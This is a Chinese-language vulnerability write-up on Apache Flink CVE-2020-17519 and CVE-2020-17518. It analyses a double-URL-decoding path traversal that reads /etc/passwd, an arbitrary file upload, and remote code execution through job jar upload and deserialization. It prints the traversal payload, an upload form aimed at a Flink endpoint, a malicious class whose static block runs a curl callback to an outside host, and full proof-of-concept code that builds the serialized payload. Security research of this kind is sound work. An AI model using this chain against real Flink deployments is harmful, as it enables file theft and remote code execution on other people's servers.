Apache Flink CVE-2020-17518/17519 读写反序列化

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2021-01-20 2021-01-20 约 2187 字预计阅读 10 分钟

警告

本文最后更新于 2021-01-20，文中内容可能已过时。

又是URL编码的问题

# CVE-2020-17519 任意读文件

1 分析

原理在于两次url解码 org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0

RouterHandler类是路由核心类，用于处理路由的整体交互走向。QueryStringDecoder类是自实现的解码类，在qsd.path()中首次进行url解码。

decodeComponent()进行解码，大致逻辑就是截取%之后的内容进行解码

解码之后为/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

在request解析完method、path和参数之后，进行this.router.route()。

其中this.router存放了所有的路由，通过http method进行键值对匹配。意思就是GET请求对应什么路由，全拿出来。

在this.router.route()中router是取出来所有的GET请求的路由

decodePathTokens()以/进行路径分割，并进行了第二次url解码

拿到tokens之后进行router.route(path, path, queryParameters, tokens)

在pattern.match(pathTokens, pathParams)这个方法中是通过已知的GET method的路由遍历进行正则匹配(一句话就是匹配路由)。

其中pattern的值是jobmanager/logs/:filename，其中:filename是变量值。

而我们的payload满足了这个路由/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd，将..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd作为filename的值。

最终返回了JobManagerCustomLogHandler类的一个实例作为resp，而filename直接从token取出

两次url编码之后../目录穿越，造成任意文件读取。

2 修复

简单粗暴，通过getName()获取文件名

https://github.com/apache/flink/blob/master/flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java

# CVE-2020-17518 任意文件上传

所有的url请求都会经过Handler进行处理，路由随意即可触发。

文件上传位于org.apache.flink.runtime.rest.FileUploadHandler#channelRead0中。

其中fileUpload和filename均可控，造成跨目录

# RCE

1 自身功能rce

这个鬼东西本身无鉴权，并且可以通过上传jar包执行，传个jar包上去runtime.exec就行。

package com.test;

import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
	// write your code here
        Runtime.getRuntime().exec(new String[]{"bash","-c","touch /tmp/ggg"});
    }
}

2 反序列化RCE

还有一种值得学习的反序列化RCE的方式。

org.apache.flink.runtime.rest.handler.job.JobSubmitHandler#loadJobGraph直接将上传文件进行反序列化。当以post方式访问到/v1/jobs时，会路由到此。

根据官方文档本地构造请求包

<form name="form" action="http://172.16.1.137:8081/v1/jobs"  method="post" enctype ="multipart/form-data">
    <input type="file" name="file_0">
    <input type="text" name="request" value="">
    <input type="submit" value="提交">
</form>

其中request值为json数据，指定从上传数据包中取得反序列化的对象

{
  "jobGraphFileName": "a.ser"
}

构造请求这个地方卡了我半天，自己真是个傻逼，不知道看文档。

然后再看org.apache.flink.api.common.state.StateDescriptor#readObject其自实现了反序列化流程。

继承TypeSerializer有很多实现，其中org.apache.flink.api.java.typeutils.runtime.PojoSerializer#deserialize(org.apache.flink.core.memory.DataInputView)存在Class.forname第二个参数为true，可以静态代码块执行。

那么转变思路即为先上传恶意class到classpath中，然后通过反序列化触发static代码块的rce。

classpath如图

将编译好的Exec.class上传到bin或者lib目录下，反序列化触发就行了。

import java.io.IOException;

public class Exec {

    static {
        try {
            long l = System.currentTimeMillis();
            Runtime.getRuntime().exec(new String[]{"bash", "-c", "curl http://172.16.1.1/?id=" + l});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

构造poc的时候在org.apache.flink.api.common.state.StateDescriptor#readObject中首先要绕过hasDefaultValue。我用的是ValueStateDescriptor类来初始化赋值。

直接贴poc吧。

package com.test;

import org.apache.flink.api.common.ExecutionConfig;
import org.apache.flink.api.common.state.StateDescriptor;
import org.apache.flink.api.common.state.ValueStateDescriptor;
import org.apache.flink.api.common.typeutils.TypeSerializer;
import org.apache.flink.api.java.typeutils.runtime.PojoSerializer;
import org.apache.flink.core.memory.DataOutputSerializer;

import java.io.*;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        ExecutionConfig config = new ExecutionConfig();
        Field[] fields = new Field[0];
        TypeSerializer<?>[] typeSerializers = new TypeSerializer[0];
        PojoSerializer<PojoSerializer> serializer = new PojoSerializer<PojoSerializer>(PojoSerializer.class, typeSerializers, fields, config);

        Class<?> exec = Class.forName("Exec");
        Object o = exec.newInstance();

        StateDescriptor stateDescriptor = new ValueStateDescriptor("Asd", serializer, o);
        DataOutputSerializer dataOutputSerializer = new DataOutputSerializer(1);

        ObjectOutputStream objOutput = new ObjectOutputStream(new FileOutputStream("a.ser"));
        objOutput.writeObject(stateDescriptor);
        objOutput.close();

        ObjectInputStream objInput = new ObjectInputStream(new FileInputStream("a.ser"));
        objInput.readObject();
        objInput.close();
    }
}